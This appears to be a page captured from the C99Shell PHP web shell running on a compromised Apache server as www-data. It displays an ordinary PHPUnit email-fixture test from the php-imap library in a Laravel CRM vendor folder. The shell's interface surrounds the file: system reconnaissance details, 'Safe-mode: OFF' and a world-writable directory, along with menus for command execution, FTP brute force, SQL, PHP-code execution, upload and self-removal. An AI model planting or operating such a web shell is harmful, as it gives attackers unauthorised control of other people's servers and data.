!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/tests/fixtures/   drwxrwxrwx
Free 13.14 GB of 57.97 GB (22.67%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MultipartWithoutBodyTest.php (3.69 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: MultipartWithoutBodyTest.php
* Category: -
* Author: M.Goldenbaum
* Created: 09.03.23 02:24
* Updated: -
*
* Description:
*  -
*/

namespace Tests\fixtures;

/**
 * Class MultipartWithoutBodyTest
 *
 * @package Tests\fixtures
 */
class MultipartWithoutBodyTest extends FixtureTestCase {

    
/**
     * Test the fixture multipart_without_body.eml
     *
     * @return void
     */
    
public function testFixture() : void {
        
$message $this->getFixture("multipart_without_body.eml");

        
self::assertEquals("This mail will not contain a body"$message->subject);
        
self::assertEquals("This mail will not contain a body"$message->getTextBody());
        
self::assertEquals("d76dfb1ff3231e3efe1675c971ce73f722b906cc049d328db0d255f8d3f65568"hash("sha256"$message->getHTMLBody()));
        
self::assertEquals("2023-03-11 08:24:31"$message->date->first()->setTimezone('UTC')->format("Y-m-d H:i:s"));
        
self::assertEquals("Foo Bülow Bar <from@example.com>"$message->from);
        
self::assertEquals("some one <someone@somewhere.com>"$message->to);
        
self::assertEquals([
            
=> 'from AS8PR02MB6805.eurprd02.prod.outlook.com (2603:10a6:20b:252::8) by PA4PR02MB7071.eurprd02.prod.outlook.com with HTTPS; Sat, 11 Mar 2023 08:24:33 +0000',
            
=> 'from omef0ahNgeoJu.eurprd02.prod.outlook.com (2603:10a6:10:33c::12) by AS8PR02MB6805.eurprd02.prod.outlook.com (2603:10a6:20b:252::8) with Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.20.6178.19; Sat, 11 Mar 2023 08:24:31 +0000',
            
=> 'from omef0ahNgeoJu.eurprd02.prod.outlook.com ([fe80::38c0:9c40:7fc6:93a7]) by omef0ahNgeoJu.eurprd02.prod.outlook.com ([fe80::38c0:9c40:7fc6:93a7%7]) with mapi id 15.20.6178.019; Sat, 11 Mar 2023 08:24:31 +0000',
            
=> 'from AS8PR02MB6805.eurprd02.prod.outlook.com (2603:10a6:20b:252::8) by PA4PR02MB7071.eurprd02.prod.outlook.com with HTTPS',
        ], 
$message->received->all());
        
self::assertEquals("This mail will not contain a body"$message->thread_topic);
        
self::assertEquals("AdlT8uVmpHPvImbCRM6E9LODIvAcQA=="$message->thread_index);
        
self::assertEquals("omef0ahNgeoJuEB51C568ED2227A2DAABB5BB9@omef0ahNgeoJu.eurprd02.prod.outlook.com"$message->message_id);
        
self::assertEquals("da-DK, en-US"$message->accept_language);
        
self::assertEquals("en-US"$message->content_language);
        
self::assertEquals("Internal"$message->x_ms_exchange_organization_authAs);
        
self::assertEquals("04"$message->x_ms_exchange_organization_authMechanism);
        
self::assertEquals("omef0ahNgeoJu.eurprd02.prod.outlook.com"$message->x_ms_exchange_organization_authSource);
        
self::assertEquals(""$message->x_ms_Has_Attach);
        
self::assertEquals("aa546a02-2b7a-4fb1-7fd4-08db220a09f1"$message->x_ms_exchange_organization_Network_Message_Id);
        
self::assertEquals("-1"$message->x_ms_exchange_organization_SCL);
        
self::assertEquals(""$message->x_ms_TNEF_Correlator);
        
self::assertEquals("0"$message->x_ms_exchange_organization_RecordReviewCfmType);
        
self::assertEquals("Email"$message->x_ms_publictraffictype);
        
self::assertEquals("ucf:0;jmr:0;auth:0;dest:I;ENG:(910001)(944506478)(944626604)(920097)(425001)(930097);"$message->X_Microsoft_Antispam_Mailbox_Delivery->first());
        
self::assertEquals("0712b5fe22cf6e75fa220501c1a6715a61098983df9e69bad4000c07531c1295"hash("sha256"$message->X_Microsoft_Antispam_Message_Info));
        
self::assertEquals("multipart/alternative"$message->Content_Type->last());
        
self::assertEquals("1.0"$message->mime_version);

        
self::assertCount(0$message->getAttachments());
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0088 ]--